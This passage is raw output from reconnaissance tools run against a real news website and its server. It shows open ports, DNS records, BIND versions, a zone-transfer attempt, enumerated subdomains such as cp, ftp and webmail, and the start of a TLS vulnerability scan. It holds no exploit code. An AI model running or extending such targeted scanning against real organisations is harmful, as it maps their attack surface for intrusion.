1136[*] https://www.alalamtv.net/news/4574211/%D9%87%D8%B0%D8%A7-%D9%85%D8%A7-%D8%AA%D9%81%D8%B9%D9%84%D9%87-%D8%A7%D9%84%D9%88%D8%AC%D8%A8%D8%A7%D8%AA-%D8%A7%D9%84%D8%B3%D8%B1%D9%8A%D8%B9%D8%A9-%D8%A8%D8%A3%D8%B9%D9%8A%D9%86%D9%86%D8%A7
1137[*] https://www.alalamtv.net/news/4574241/%D9%84%D8%A7%D8%B9%D8%A8%D9%88-%D9%85%D8%B5%D8%B1-%D9%8A%D9%83%D8%B4%D9%81%D9%88%D9%86-%D9%82%D8%B5%D8%A9-%D8%B8%D9%87%D9%88%D8%B1%D9%87%D9%85-%D8%A8%D9%82%D9%86%D8%A7%D8%B9-%D9%84%D8%A7%D9%83%D8%A7%D8%B3%D8%A7-%D8%AF%D9%8A-%D8%A8%D8%A7%D8%A8%D9%84
1138[*] https://www.alalamtv.net/news/4574271/%D9%85%D8%B3%D8%B4%D8%A7%D8%B1-%D9%82%D8%A7%D8%A6%D8%AF-%D8%A7%D9%84%D8%AB%D9%88%D8%B1%D8%A9-%D8%A7%D9%84%D8%A5%D8%B3%D9%84%D8%A7%D9%85%D9%8A%D8%A9-%D9%82%D8%AF%D8%B1%D8%A9-%D9%85%D8%AD%D9%88%D8%B1-%D8%A7%D9%84%D9%85%D9%82%D8%A7%D9%88%D9%85%D8%A9-%D8%AA%D8%B2%D8%AF%D8%A7%D8%AF-%D9%8A%D9%88%D9%85%D8%A7%D9%8B-%D8%A8%D8%B9%D8%AF-%D9%8A%D9%88%D9%85--%D9%81%D9%8A%D8%AF%D9%8A%D9%88
1139[*] https://www.alalamtv.net/news/4574296/%D8%A5%D8%B9%D8%A7%D8%AF%D8%A9-%D9%82%D8%B7%D8%B9-%D9%85%D9%86-%D8%A7%D9%84%D9%85%D8%B2%D9%88%D8%AF-%D8%A7%D9%84%D8%B0%D9%8A-%D8%B6%D9%85-%D8%A7%D9%84%D9%85%D8%B3%D9%8A%D8%AD-%D9%86%D9%82%D9%84-%D9%84%D8%A5%D9%8A%D8%B7%D8%A7%D9%84%D9%8A%D8%A7-%D9%82%D8%A8%D9%84-%D8%A3%D9%84%D9%81-%D8%B9%D8%A7%D9%85
1140[*] https://www.alalamtv.net/news/4574301/%D8%B4%D9%85%D8%AE%D8%A7%D9%86%D9%8A-%D8%AA%D9%85-%D8%A7%D8%AD%D8%A8%D8%A7%D8%B7-%D8%A7%D9%84%D9%87%D8%AC%D9%88%D9%85-%D8%A7%D9%84%D9%85%D8%AE%D8%B7%D8%B7-%D9%84%D9%84%D8%B9%D8%AF%D9%88-%D8%B9%D9%84%D9%89-%D8%B9%D8%B3%D9%84%D9%88%D9%8A%D8%A9
1141[*] https://www.alalamtv.net/news/4574306/%D9%85%D8%B3%D8%AA%D8%B4%D8%A7%D8%B1-%D9%82%D8%A7%D8%A6%D8%AF-%D8%A7%D9%84%D8%AB%D9%88%D8%B1%D8%A9-%D8%A7%D9%84%D8%A5%D8%AD%D8%AA%D9%84%D8%A7%D9%84-%D8%B3%D9%8A%D9%87%D8%B2%D9%85-%D8%A3%D9%85%D8%A7%D9%85-%D8%AD%D9%85%D8%A7%D8%B3-%D9%88%D8%A7%D9%84%D8%AC%D9%87%D8%A7%D8%AF-%D8%A7%D9%84%D8%A5%D8%B3%D9%84%D8%A7%D9%85%D9%8A--%D9%81%D9%8A%D8%AF%D9%8A%D9%88
1142[*] https://www.alalamtv.net/news/4574321/%D8%A7%D9%84%D8%B3%D9%84%D8%A7%D8%AD-%D8%A7%D9%84%D9%85%D8%B7%D9%84%D9%82-%D8%A7%D9%84%D8%B1%D9%88%D8%B3%D9%8A-%D9%8A%D9%86%D9%87%D9%8A-%D8%A7%D9%84%D9%87%D9%8A%D9%85%D9%86%D8%A9-%D8%A7%D9%84%D8%A7%D9%85%D8%B1%D9%8A%D9%83%D9%8A%D8%A9-%D9%81%D9%8A-%D8%A7%D9%84%D9%87%D8%A7%D8%AF%D9%8A
1143[*] https://www.alalamtv.net/news/4574326/%D9%84%D9%85%D8%A7%D8%B0%D8%A7-%D8%A3%D9%85%D8%B1%D9%8A%D9%83%D8%A7-%D8%AA%D8%B1%D9%8A%D8%AF-%D8%AE%D8%B1%D9%88%D8%AC-%D9%82%D9%88%D8%A7%D8%AA%D9%87%D8%A7-%D9%85%D9%86-%D8%A7%D9%84%D8%B4%D8%B1%D9%82-%D8%A7%D9%84%D8%A3%D9%88%D8%B3%D8%B7%D8%9F-%D9%81%D9%8A%D8%AF%D9%8A%D9%88
1144[*] https://www.alalamtv.net/news/4574326/لماذا-أمريكا-تريد-خروج-قواتها-من-الشرق-الأوسط؟-فيديو
1145[*] https://www.alalamtv.net/news/4574336/%D8%A5%D9%8A%D8%B7%D8%A7%D9%84%D9%8A%D8%A7-%D8%AA%D9%85%D9%86%D8%B9-%D8%B1%D8%B3%D9%88-%D8%B3%D9%81%D9%8A%D9%86%D8%A9-%D8%A5%D9%86%D9%82%D8%A7%D8%B0-%D8%A5%D8%B3%D8%A8%D8%A7%D9%86%D9%8A%D8%A9-%D8%B9%D9%84%D9%89-%D9%85%D8%AA%D9%86%D9%87%D8%A7-73-%D9%85%D9%87%D8%A7%D8%AC%D8%B1%D8%A7-%D8%A3%D9%81%D8%B1%D9%8A%D9%82%D9%8A%D8%A7
1146[*] https://www.alalamtv.net/news/4574341/%D8%A7%D9%84%D9%85%D8%AC%D9%84%D8%B3-%D8%A7%D9%84%D8%A3%D8%B9%D9%84%D9%89-%D9%84%D9%84%D8%AB%D9%88%D8%B1%D8%A9-%D8%A7%D9%84%D8%AB%D9%82%D8%A7%D9%81%D9%8A%D8%A9-%D9%8A%D8%AF%D8%B9%D9%88-%D9%84%D9%84%D9%85%D8%B4%D8%A7%D8%B1%D9%83%D8%A9-%D8%A8%D9%85%D8%B3%D9%8A%D8%B1%D8%A9-%D8%A7%D9%84%D8%AF%D9%81%D8%A7%D8%B9-%D8%B9%D9%86-%D8%A3%D9%85%D9%86-%D8%A7%D9%84%D8%A8%D9%84%D8%A7%D8%AF
1147[*] https://www.alalamtv.net/news/4574346/%D9%85%D8%A7%D8%B0%D8%A7-%D8%AA%D9%82%D8%AA%D8%B1%D8%AD-%D8%A5%D9%8A%D8%B1%D8%A7%D9%86-%D8%A7%D9%84%D9%89-%D8%AC%D9%8A%D8%B1%D8%A7%D9%86%D9%87%D8%A7-%D9%84%D8%A3%D9%85%D9%86-%D8%A7%D9%84%D9%85%D9%86%D8%B7%D9%82%D8%A9%D8%9F-%D9%81%D9%8A%D8%AF%D9%8A%D9%88
1148[*] https://www.alalamtv.net/news/4574351/%D9%86%D8%B4%D8%B1%D8%A9-%D8%A7%D9%84%D8%A7%D8%AE%D8%A8%D8%A7%D8%B1-%D8%A7%D9%84%D8%A7%D9%82%D8%AA%D8%B5%D8%A7%D8%AF%D9%8A%D8%A9-%D9%85%D9%86-%D9%82%D9%86%D8%A7%D8%A9-%D8%A7%D9%84%D8%B9%D8%A7%D9%84%D9%85-15-30-%D8%A8%D8%AA%D9%88%D9%82%D9%8A%D8%AA-%D8%BA%D8%B1%D9%8A%D9%86%D8%AA%D8%B4-24-11-2019
1149[*] https://www.alalamtv.net/news/4574366/%D9%87%D8%AC%D9%88%D9%85-%D9%85%D8%B3%D9%84%D8%AD-%D8%B4%D9%85%D8%A7%D9%84-%D8%B4%D8%B1%D9%82%D9%8A-%D8%AF%D9%8A%D8%A7%D9%84%D9%89-%D9%88%D8%A7%D8%B3%D8%AA%D8%B4%D9%87%D8%A7%D8%AF-%D8%B6%D8%A7%D8%A8%D8%B7-%D9%88%D8%AC%D9%86%D9%88%D8%AF-%D8%A7%D8%AB%D9%86%D9%8A%D9%86-%D9%88%D9%85%D8%AF%D9%86%D9%8A
1150[*] https://www.alalamtv.net/news/4574371/%D9%86%D8%B4%D8%B1%D8%A9-%D8%A7%D9%84%D8%A7%D8%AE%D8%A8%D8%A7%D8%B1-%D9%85%D9%86-%D9%82%D9%86%D8%A7%D8%A9-%D8%A7%D9%84%D8%B9%D8%A7%D9%84%D9%85-%D8%A7%D9%84%D8%B3%D8%A7%D8%B9%D8%A9-16-00-%D8%A8%D8%AA%D9%88%D9%82%D9%8A%D8%AA-%D8%BA%D8%B1%D9%8A%D9%86%D8%AA%D8%B4-24-11-2019
1151[*] https://www.alalamtv.net/news/4574376/تزايد-ضحايا-الحصارفي-ظل-تفاؤل-أممي-بوقف-العدوان
1152[*] https://www.alalamtv.net/news/4574381/%D8%A8%DB%8C%D8%AA-%D8%A7%D9%84%D8%AB%D9%82%D8%A7%D9%81%D8%A9-%D8%A7%D9%84%D8%A5%DB%8C%D8%B1%D8%A7%D9%86%D9%8A-%D9%8A%D9%86%D8%B8%D9%85-%D9%85%D8%B3%D8%A7%D8%A8%D9%82%D8%A9-%D9%82%D8%B1%D8%A2%D9%86%DB%8C%D8%A9-%D9%81%D9%8A-%D8%A8%D8%A7%DA%A9%D8%B3%D8%AA%D8%A7%D9%86
1153[*] https://www.alalamtv.net/news/4574386/%D8%B3%D9%88%D8%B1%D9%8A%D8%A7--%D8%A3%D9%87%D8%A7%D9%84%D9%8A-%D8%AA%D9%84-%D8%A3%D8%A8%D9%8A%D8%B6-%D9%8A%D8%AD%D8%B1%D9%82%D9%88%D9%86-%D9%85%D9%82%D8%B1%D8%A7-%D9%84%D9%84%D9%81%D8%B5%D8%A7%D8%A6%D9%84-%D8%A7%D9%84%D9%85%D9%88%D8%A7%D9%84%D9%8A%D8%A9-%D9%84%D8%A3%D9%86%D9%82%D8%B1%D8%A9
1154[*] https://www.alalamtv.net/news/4574391/%D8%A5%D9%8A%D8%B1%D8%A7%D9%86-%D9%88%D9%83%D8%A7%D8%B2%D8%A7%D8%AE%D8%B3%D8%AA%D8%A7%D9%86-%D8%AA%D8%B1%D9%81%D8%B9%D8%A7%D9%86-%D8%B9%D8%AF%D8%AF-%D8%A7%D9%84%D8%B1%D8%AD%D9%84%D8%A7%D8%AA-%D8%A7%D9%84%D8%AC%D9%88%DB%8C%D8%A9-%D8%A7%D9%84%D9%85%D8%A8%D8%A7%D8%B4%D8%B1%D8%A9
1155[*] https://www.alalamtv.net/news/4574396/%D9%85%D8%A7-%D8%A7%D9%84%D8%B0%D9%8A-%D9%8A%D8%A8%D8%B4%D8%B1-%D8%A8%D8%A5%D9%86%D9%87%D8%A7%D8%A1-%D8%A7%D9%84%D8%AD%D8%B1%D8%A8-%D9%81%D9%8A-%D8%A7%D9%84%D9%8A%D9%85%D9%86--%D8%A7%D9%84%D9%85%D9%8A%D8%AF%D8%A7%D9%86-%D8%A7%D9%88-%D8%AA%D8%B5%D8%B1%D9%8A%D8%AD%D8%A7%D8%AA-%D8%A7%D9%84%D8%A3%D9%85%D9%85-%D8%A7%D9%84%D9%85%D8%AA%D8%AD%D8%AF%D8%A9%D8%9F
1156[*] https://www.alalamtv.net/news/4574396/ما-الذي-يبشر-بإنهاء-الحرب-في-اليمن--الميدان-او-تصريحات-الأمم-المتحدة؟
1157[*] https://www.alalamtv.net/news/4574406/%D9%82%D9%8A%D8%B3-%D8%B3%D8%B9%D9%8A%D8%AF-%D9%85%D9%88%D8%A7%D8%AC%D9%87%D8%A9-%D9%85%D9%86-%D9%8A%D8%AA%D8%B1%D8%A8%D8%B5-%D8%A8%D8%AA%D9%88%D9%86%D8%B3-%D9%84%D9%8A%D8%B3-%D9%81%D9%8A%D9%87-%D9%85%D8%AC%D8%A7%D9%84-%D9%84%D9%84%D8%A7%D8%AC%D8%AA%D9%87%D8%A7%D8%AF
1158[*] https://www.alalamtv.net/news/4574421/%D8%A8%D8%A7%D9%84%D9%81%D9%8A%D8%AF%D9%8A%D9%88--%D8%A7%D9%84%D8%AC%D8%A8%D9%88%D8%B1%D9%8A-%D9%8A%D9%83%D8%B4%D9%81-%D8%B9%D9%86-%D8%B1%D8%B3%D8%A7%D8%A6%D9%84-%D8%B6%D8%BA%D8%B7-%D8%A3%D9%85%D9%8A%D8%B1%D9%83%D9%8A%D8%A9-%D8%B9%D9%84%D9%89-%D8%A7%D9%84%D8%B9%D8%B1%D8%A7%D9%82
1159[*] https://www.alalamtv.net/news/4574421/بالفيديو--الجبوري-يكشف-عن-رسائل-ضغط-أميركية-على-العراق
1160[*] https://www.alalamtv.net/news/4574426/%D8%AA%D8%AD%D8%A7%D9%84%D9%81-%D8%A3%D9%88%D8%B1%D9%88%D8%A8%D9%8A-%D9%8A%D8%B1%D8%A7%D9%82%D8%A8-%D8%A7%D9%84%D8%AA%D8%AD%D8%B1%D9%83%D8%A7%D8%AA-%D9%81%D9%8A-%D8%A7%D9%84%D8%AE%D9%84%D9%8A%D8%AC-%D8%A7%D9%84%D9%81%D8%A7%D8%B1%D8%B3%D9%8A-%D9%85%D9%86-%D8%A3%D8%A8%D9%88%D8%B8%D8%A8%D9%8A
1161[*] https://www.alalamtv.net/news/4574436/%D8%B1%D8%B3%D8%A7%D9%84%D8%A9-%D8%A7%D9%84%D8%A8%D8%B1%D9%84%D9%85%D8%A7%D9%86-%D8%A7%D9%84%D8%A3%D9%88%D8%B1%D9%88%D8%A8%D9%8A-%D8%AD%D9%88%D9%84-%D8%B3%D9%88%D8%A1-%D8%A7%D9%84%D8%B1%D8%B9%D8%A7%D9%8A%D8%A9-%D8%A7%D9%84%D8%B5%D8%AD%D9%8A%D8%A9-%D9%84%D9%84%D8%B3%D8%AC%D9%86%D8%A7%D8%A1-%D8%A7%D9%84%D8%B3%D9%8A%D8%A7%D8%B3%D9%8A%D9%8A%D9%86-%D9%81%D9%8A-%D8%A7%D9%84%D8%A8%D8%AD%D8%B1%D9%8A%D9%86
1162[*] https://www.alalamtv.net/news/4574441/%D8%A7%D9%84%D9%85%D9%86%D8%B5%D9%81-%D8%A7%D9%84%D9%85%D8%B1%D8%B2%D9%88%D9%82%D9%8A-%D9%8A%D8%B9%D9%84%D9%86-%D8%A7%D9%86%D8%B3%D8%AD%D8%A7%D8%A8%D9%87-%D9%85%D9%86-%D8%A7%D9%84%D8%AD%D9%8A%D8%A7%D8%A9-%D8%A7%D9%84%D8%B3%D9%8A%D8%A7%D8%B3%D9%8A%D8%A9
1163[*] https://www.alalamtv.net/news/4574451/%D8%AC%D9%88%D9%86%D8%B3%D9%88%D9%86-%D9%8A%D8%AA%D8%B9%D9%87%D8%AF-%D8%A8%D8%AA%D9%81%D8%A7%D8%AF%D9%8A-%D8%A3%D9%8A-%D8%AA%D8%A3%D8%AC%D9%8A%D9%84-%D9%84%D8%A8%D8%B1%D9%8A%D9%83%D8%B3%D8%AA
1164[*] https://www.alalamtv.net/news/4574461/%D8%A7%D9%84%D8%AC%D9%8A%D8%B4-%D8%A7%D9%84%D8%B3%D9%88%D8%B1%D9%8A-%D9%8A%D9%88%D8%B3%D8%B9-%D8%A7%D9%86%D8%AA%D8%B4%D8%A7%D8%B1%D9%87-%D9%81%D9%8A-%D8%B1%D9%8A%D9%81-%D8%A7%D9%84%D8%AD%D8%B3%D9%83%D8%A9-%D8%A8%D8%A7%D8%AA%D8%AC%D8%A7%D9%87-%D8%A7%D9%84%D8%B1%D9%82%D8%A9
1165[*] https://www.alalamtv.net/news/4574471/%D9%88%D8%B2%D9%8A%D8%B1-%D8%A7%D9%84%D8%AF%D9%81%D8%A7%D8%B9-%D8%A7%D9%84%D8%A3%D9%85%D8%B1%D9%8A%D9%83%D9%8A-%D9%8A%D8%B7%D9%84%D8%A8-%D8%A7%D8%B3%D8%AA%D9%82%D8%A7%D9%84%D8%A9-%D9%88%D8%B2%D9%8A%D8%B1-%D8%A7%D9%84%D8%A8%D8%AD%D8%B1%D9%8A%D8%A9-%D9%84%D9%87%D8%B0%D8%A7-%D8%A7%D9%84%D8%B3%D8%A8%D8%A8
1166[*] https://www.alalamtv.net/newscast
1167[*] https://www.alalamtv.net/newscommentary
1168[*] https://www.alalamtv.net/novafez
1169[*] https://www.alalamtv.net/oman
1170[*] https://www.alalamtv.net/others
1171[*] https://www.alalamtv.net/pakistan
1172[*] https://www.alalamtv.net/palestine
1173[*] https://www.alalamtv.net/photo
1174[*] https://www.alalamtv.net/photonote
1175[*] https://www.alalamtv.net/programs
1176[*] https://www.alalamtv.net/qalam-rosas
1177[*] https://www.alalamtv.net/qatar
1178[*] https://www.alalamtv.net/qayaheb-al-kiyan
1179[*] https://www.alalamtv.net/reports
1180[*] https://www.alalamtv.net/rss
1181[*] https://www.alalamtv.net/sabah-jadid
1182[*] https://www.alalamtv.net/saudia
1183[*] https://www.alalamtv.net/serials
1184[*] https://www.alalamtv.net/sitemap
1185[*] https://www.alalamtv.net/sport
1186[*] https://www.alalamtv.net/studio-beirut
1187[*] https://www.alalamtv.net/Sudan
1188[*] https://www.alalamtv.net/syria
1189[*] https://www.alalamtv.net/tech
1190[*] https://www.alalamtv.net/todaysissue
1191[*] https://www.alalamtv.net/tunisia
1192[*] https://www.alalamtv.net/turkey
1193[*] https://www.alalamtv.net/videographic
1194[*] https://www.alalamtv.net/videos
1195[*] https://www.alalamtv.net/whatsapp
1196[*] https://www.alalamtv.net/world
1197[*] https://www.alalamtv.net/yemen
1198[*] https://www.alalamtv.net/yoghal
1199[*] https://www.instagram.com/alalamarabic/
1200[*] https://www.youtube.com/c/AlalamNewsChannel
1201[*] http://www.alalam.ir/iraq
1202[*] http://www.alalam.ir/syria
1203[*] http://www.alalam.ir/yemen
1204[*] http://www.facebook.com/alalamarabic
1205[*] http://youtube.com/c/AlalamNewsChannel
1206cut: intervalle de champ incorrecte
1207Saisissez « cut --help » pour plus d'informations.
1208[INFO] BING shows 192.99.38.90 is shared with 35 hosts/vhosts
1209[INFO] Shodan detected the following opened ports on 192.99.38.90:
1210[*] 0
1211[*] 123
1212[*] 21
1213[*] 443
1214[*] 53
1215[*] 80
1216[*] 8080
1217[INFO] ------VirusTotal SECTION------
1218[INFO] VirusTotal passive DNS only stores address records. The following domains resolved to the given IP address:
1219[INFO] Latest URLs hosted in this IP address detected by at least one URL scanner or malicious URL dataset:
1220[INFO] Latest files that are not detected by any antivirus solution and were downloaded by VirusTotal from the IP address provided:
1221[INFO] ------Alexa Rank SECTION------
1222[INFO] Percent of Visitors Rank in Country:
1223[INFO] Percent of Search Traffic:
1224[INFO] Percent of Unique Visits:
1225[INFO] Total Sites Linking In:
1226[*] Total Sites
1227[INFO] Useful links related to www.alalamtv.net - 192.99.38.90:
1228[*] https://www.virustotal.com/pt/ip-address/192.99.38.90/information/
1229[*] https://www.hybrid-analysis.com/search?host=192.99.38.90
1230[*] https://www.shodan.io/host/192.99.38.90
1231[*] https://www.senderbase.org/lookup/?search_string=192.99.38.90
1232[*] https://www.alienvault.com/open-threat-exchange/ip/192.99.38.90
1233[*] http://pastebin.com/search?q=192.99.38.90
1234[*] http://urlquery.net/search.php?q=192.99.38.90
1235[*] http://www.alexa.com/siteinfo/www.alalamtv.net
1236[*] http://www.google.com/safebrowsing/diagnostic?site=www.alalamtv.net
1237[*] https://censys.io/ipv4/192.99.38.90
1238[*] https://www.abuseipdb.com/check/192.99.38.90
1239[*] https://urlscan.io/search/#192.99.38.90
1240[*] https://github.com/search?q=192.99.38.90&type=Code
1241[INFO] Useful links related to AS16276 - 192.99.0.0/16:
1242[*] http://www.google.com/safebrowsing/diagnostic?site=AS:16276
1243[*] https://www.senderbase.org/lookup/?search_string=192.99.0.0/16
1244[*] http://bgp.he.net/AS16276
1245[*] https://stat.ripe.net/AS16276
1246[INFO] Date: 24/11/19 | Time: 20:57:55
1247[INFO] Total time: 0 minute(s) and 54 second(s)
1248######################################################################################################################################
1249Trying "alalamtv.net"
1250;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27278
1251;; flags: qr rd ra; QUERY: 1, ANSWER: 9, AUTHORITY: 2, ADDITIONAL: 2
1252
1253;; QUESTION SECTION:
1254;alalamtv.net. IN ANY
1255
1256;; ANSWER SECTION:
1257alalamtv.net. 0 IN A 192.99.38.90
1258alalamtv.net. 0 IN MX 10 memxh.irib.ir.
1259alalamtv.net. 0 IN MX 10 memxf.irib.ir.
1260alalamtv.net. 0 IN MX 10 memxg.irib.ir.
1261alalamtv.net. 0 IN MX 10 memxi.irib.ir.
1262alalamtv.net. 0 IN TXT "google-site-verification=dpZKFpZCca-ZnT92hx_ipdXh8S4C0OSTrSY-zF0A3rE"
1263alalamtv.net. 0 IN SOA ns1. hostmaster. 392 900 600 864000 3600
1264alalamtv.net. 0 IN NS ns4.alalamtv.net.
1265alalamtv.net. 0 IN NS ns3.alalamtv.net.
1266
1267;; AUTHORITY SECTION:
1268alalamtv.net. 3600 IN NS ns3.alalamtv.net.
1269alalamtv.net. 3600 IN NS ns4.alalamtv.net.
1270
1271;; ADDITIONAL SECTION:
1272ns4.alalamtv.net. 43200 IN A 69.30.251.226
1273ns3.alalamtv.net. 43200 IN A 192.99.38.90
1274
1275Received 367 bytes from 2001:18c0:121:6900:724f:b8ff:fefd:5b6a#53 in 130 ms
1276#######################################################################################################################################
1277; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> +trace alalamtv.net any
1278;; global options: +cmd
1279. 82809 IN NS m.root-servers.net.
1280. 82809 IN NS g.root-servers.net.
1281. 82809 IN NS f.root-servers.net.
1282. 82809 IN NS k.root-servers.net.
1283. 82809 IN NS h.root-servers.net.
1284. 82809 IN NS c.root-servers.net.
1285. 82809 IN NS b.root-servers.net.
1286. 82809 IN NS d.root-servers.net.
1287. 82809 IN NS i.root-servers.net.
1288. 82809 IN NS a.root-servers.net.
1289. 82809 IN NS j.root-servers.net.
1290. 82809 IN NS l.root-servers.net.
1291. 82809 IN NS e.root-servers.net.
1292. 82809 IN RRSIG NS 8 0 518400 20191207170000 20191124160000 22545 . X8zWOJ0yhReViHVoneu/RSB2gO9JYyZM/HI4fKUuCUZb64YWoR1HFnjv M3iJLVlg0mmUZu/Rqdz1etMviXNSSYg9RmwcP1OLFuaCEjR2686CXYQ1 PBpeRtlYTMyT/0cxH66IwDROqVRL6+tnq8IrGr1uHgrut3toItkUvsiO Yra47LYoOCQ17KBoqW8KOymJW34GUWR7rPUO+xk6eEdmB7gj++W4vR/D TAkHupbNum6IU/OnOGOLfIfQ1kGUqntEScEunNaRoR83SM4tdViGogmk XZI2zY+Tn1Jjn6+PwcPH2j6h5nw0nDy+Sx6PdOT+EYvNa+U8OkkTLHLM ksB2Yw==
1293;; Received 525 bytes from 38.132.106.139#53(38.132.106.139) in 61 ms
1294
1295net. 172800 IN NS l.gtld-servers.net.
1296net. 172800 IN NS g.gtld-servers.net.
1297net. 172800 IN NS a.gtld-servers.net.
1298net. 172800 IN NS j.gtld-servers.net.
1299net. 172800 IN NS m.gtld-servers.net.
1300net. 172800 IN NS d.gtld-servers.net.
1301net. 172800 IN NS k.gtld-servers.net.
1302net. 172800 IN NS b.gtld-servers.net.
1303net. 172800 IN NS c.gtld-servers.net.
1304net. 172800 IN NS h.gtld-servers.net.
1305net. 172800 IN NS f.gtld-servers.net.
1306net. 172800 IN NS e.gtld-servers.net.
1307net. 172800 IN NS i.gtld-servers.net.
1308net. 86400 IN DS 35886 8 2 7862B27F5F516EBE19680444D4CE5E762981931842C465F00236401D 8BD973EE
1309net. 86400 IN RRSIG DS 8 1 86400 20191207170000 20191124160000 22545 . j5AfEsccEHvuDiXt76g3m4h7c56SNXoocPmPmXMrCczDQHFHKK544QGF YrKSh66a0+++g0xTHTNmBLMVGTuVlozQTWRt+XzyUv7gzhaLsXwA2xa8 YpkCqErpqgyOayOddV8izpOrdylMtI12E0jdPhOgxcmEPd4s7WLps8ep Keed1l49BG3I/ytey/UaIcoWnDaocOof4B2e0AjvWu6bAIhLdyRKTO3e PstNjciO4Ao55RjDIhVtj7odNC6ykN7+InPKo3pouYVAf5E7fkL6HeRy 8t6NgJi+QypWKDsCGIpMbpGtFaGOjiIID01CEpvStcFD7Kw/5SnkwJN2 dPtYKg==
1310;; Received 1197 bytes from 199.9.14.201#53(b.root-servers.net) in 320 ms
1311
1312alalamtv.net. 172800 IN NS ns3.alalamtv.net.
1313alalamtv.net. 172800 IN NS ns4.alalamtv.net.
1314A1RT98BS5QGC9NFI51S9HCI47ULJG6JH.net. 86400 IN NSEC3 1 1 0 - A1RUUFFJKCT2Q54P78F8EJGJ8JBK7I8B NS SOA RRSIG DNSKEY NSEC3PARAM
1315A1RT98BS5QGC9NFI51S9HCI47ULJG6JH.net. 86400 IN RRSIG NSEC3 8 2 86400 20191201072150 20191124061150 36407 net. GzkksAfF3zDuRE63m8N+JAXlkxH2eGujFm8QwA99azgk+ueiR36LmQwz Qcr9AjffeSolED9ZxDqVSXexJJLjEqZK33+5ILWXuqwYvB1jSR0WoF17 86knzLaxjH1yoZl+xqvDwFfmpf/ceuCTBnjrhugiIswuEmh3mwY5blOm OQs+FjI3by+BkUMkf2JJUC7gpn1ytDcEJeAz2B1P5EXZaQ==
13160O9QIIK8B0QTMNNFECJDQ0VMBHSM2I78.net. 86400 IN NSEC3 1 1 0 - 0OA5OCORJ9RPLU8BN0H187LMLI38L6N8 NS DS RRSIG
13170O9QIIK8B0QTMNNFECJDQ0VMBHSM2I78.net. 86400 IN RRSIG NSEC3 8 2 86400 20191201071545 20191124060545 36407 net. k6LGVr9iz0o735yus2j6PzLnHPMPsPzDLGa1LvBSJMYr+CKMZg9yTT4S MqKJ4DZM59PF/dQ9RBg892UmrEvwdy58d1lM9h8cddx9k1SAN2Z/Kswg PdsGhqq/xIOLqBvPjzjTH7d6qL5GmvO6ubKXMHCykAbwmP1CyIV5sbLi FMSRonsInArCg/sVd1DN0Ark2JULyPIysgNNrlKAZKiAZA==
1318;; Received 658 bytes from 192.41.162.30#53(l.gtld-servers.net) in 97 ms
1319
1320alalamtv.net. 120 IN SOA ns1. hostmaster. 392 900 600 864000 3600
1321alalamtv.net. 3600 IN TXT "google-site-verification=dpZKFpZCca-ZnT92hx_ipdXh8S4C0OSTrSY-zF0A3rE"
1322alalamtv.net. 3600 IN MX 10 memxf.irib.ir.
1323alalamtv.net. 3600 IN MX 10 memxg.irib.ir.
1324alalamtv.net. 3600 IN MX 10 memxh.irib.ir.
1325alalamtv.net. 3600 IN MX 10 memxi.irib.ir.
1326alalamtv.net. 3600 IN NS ns4.alalamtv.net.
1327alalamtv.net. 3600 IN NS ns3.alalamtv.net.
1328alalamtv.net. 120 IN A 192.99.38.90
1329;; Received 350 bytes from 192.99.38.90#53(ns3.alalamtv.net) in 136 ms
1330#######################################################################################################################################
1331[*] Performing General Enumeration of Domain: alalamtv.net
1332[-] DNSSEC is not configured for alalamtv.net
1333[-] Error while resolving SOA record.
1334[*] NS ns4.alalamtv.net 69.30.251.226
1335[*] Bind Version for 69.30.251.226 9.9.4-RedHat-9.9.4-61.el7_5.1
1336[*] NS ns3.alalamtv.net 192.99.38.90
1337[*] Bind Version for 192.99.38.90 9.9.4-RedHat-9.9.4-61.el7_5.1
1338[*] MX memxh.irib.ir 77.36.164.105
1339[*] MX memxf.irib.ir 77.36.164.103
1340[*] MX memxg.irib.ir 77.36.164.104
1341[*] MX memxi.irib.ir 77.36.164.106
1342[*] A alalamtv.net 192.99.38.90
1343[*] TXT alalamtv.net google-site-verification=dpZKFpZCca-ZnT92hx_ipdXh8S4C0OSTrSY-zF0A3rE
1344[*] Enumerating SRV Records
1345[-] No SRV Records Found for alalamtv.net
1346[+] 0 Records Found
1347#######################################################################################################################################
1348[*] Processing domain alalamtv.net
1349[*] Using system resolvers ['38.132.106.139', '194.187.251.67', '185.93.180.131', '192.168.0.1', '2001:18c0:121:6900:724f:b8ff:fefd:5b6a']
1350[+] Getting nameservers
135169.30.251.226 - ns4.alalamtv.net
1352192.99.38.90 - ns3.alalamtv.net
1353[-] Zone transfer failed
1354
1355[+] TXT records found
1356"google-site-verification=dpZKFpZCca-ZnT92hx_ipdXh8S4C0OSTrSY-zF0A3rE"
1357
1358[+] MX records found, added to target list
135910 memxh.irib.ir.
136010 memxf.irib.ir.
136110 memxg.irib.ir.
136210 memxi.irib.ir.
1363
1364[*] Scanning alalamtv.net for A records
1365192.99.38.90 - alalamtv.net
136646.209.229.101 - api.alalamtv.net
1367192.99.38.90 - cp.alalamtv.net
1368192.99.38.90 - en.alalamtv.net
136954.36.51.175 - ftp.alalamtv.net
137077.36.164.107 - mail.alalamtv.net
137177.36.164.108 - mail.alalamtv.net
137269.30.251.226 - media.alalamtv.net
13732.188.3.60 - ns1.alalamtv.net
137446.209.229.60 - ns2.alalamtv.net
1375192.99.38.90 - ns3.alalamtv.net
137669.30.251.226 - ns4.alalamtv.net
1377142.54.186.50 - search.alalamtv.net
137877.36.164.112 - webmail.alalamtv.net
137977.36.164.111 - webmail.alalamtv.net
1380192.99.38.90 - www.alalamtv.net
1381#####################################################################################################################################
1382
1383
1384 AVAILABLE PLUGINS
1385 -----------------
1386
1387 OpenSslCipherSuitesPlugin
1388 EarlyDataPlugin
1389 CertificateInfoPlugin
1390 HeartbleedPlugin
1391 RobotPlugin
1392 OpenSslCcsInjectionPlugin
1393 SessionRenegotiationPlugin
1394 CompressionPlugin
1395 HttpHeadersPlugin
1396 SessionResumptionPlugin
1397 FallbackScsvPlugin
1398
1399
1400
1401 CHECKING HOST(S) AVAILABILITY
1402 -----------------------------
1403
1404 192.99.38.90:443 => 192.99.38.90
1405
1406
1407
1408
1409 SCAN RESULTS FOR 192.99.38.90:443 - 192.99.38.90
1410 ------------------------------------------------
1411
1412 * Downgrade Attacks:
1413 TLS_FALLBACK_SCSV: OK - Supported
1414
1415 * Certificate Information:
1416 Content
1417 SHA1 Fingerprint: e92636e6cade1c52a9c1bd4683afd03dfdb9585c
1418 Common Name: *.alalamtv.net
